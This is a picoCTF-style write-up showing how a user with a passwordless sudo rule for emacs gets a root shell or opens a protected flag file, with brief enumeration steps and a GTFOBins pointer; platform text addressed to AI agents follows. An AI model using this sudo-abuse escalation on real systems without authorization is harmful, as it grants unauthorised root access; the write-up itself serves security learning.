> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/general-skills/sudo-make-me-a-sandwich.md).

# sudo-make-me-a-sandwich

#### Linux Privilege Escalation – Emacs (picoCTF-style) Writeup

**Challenge Type:** Linux / Privilege Escalation **Goal:** Read `flag.txt` despite permission restrictions

***

### Initial Enumeration

Listing files in the home directory:

```bash
ls
```

Output:

```
flag.txt
```

Attempting to read the flag:

```bash
cat flag.txt
```

Result:

```
Permission denied
```

***

### Checking File Permissions

```bash
ls -la
```

Relevant output:

```
-r--r----- 1 root root 31 flag.txt
```

#### Analysis:

* Owner: `root` → read allowed
* Group: `root` → read allowed
* Others: no permissions

The current user `ctf-player` cannot read the file.

***

### Checking Sudo Permissions

```bash
sudo -l
```

Output:

```
User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/emacs
```

#### Analysis:

* The user can run `/bin/emacs` as **root**
* No password required
* This is a privilege escalation vector

***

### Exploitation

#### Step 1 – Run Emacs as root

```bash
sudo emacs
```

***

#### Step 2 – Spawn a root shell inside Emacs

Inside Emacs:

```
Alt + x
```

Then type:

```
shell
```

This opens a shell running as root.

***

#### Step 3 – Read the flag

```bash
cat flag.txt
```

***

### Alternative Method

Instead of spawning a shell, the file can be opened directly:

Inside Emacs:

```
Ctrl + x, Ctrl + f
```

Then open:

```
/home/ctf-player/flag.txt
```

<img src="https://github.com/user-attachments/assets/dc80a6c3-0a21-4970-9582-51414c334f9d" alt="image" height="350" width="1277">

***

### Why This Works

* `sudo` allows running Emacs as root
* Emacs can execute shell commands or open files
* Running Emacs with elevated privileges bypasses file permission restrictions

***

### Key Takeaways

* Always run `sudo -l` during enumeration
* Programs like `emacs`, `vim`, `less`, etc., are often exploitable
* Use resources like GTFOBins to find privilege escalation techniques
* File permissions alone do not guarantee security if privileged executables are exposed


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/general-skills/sudo-make-me-a-sandwich.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
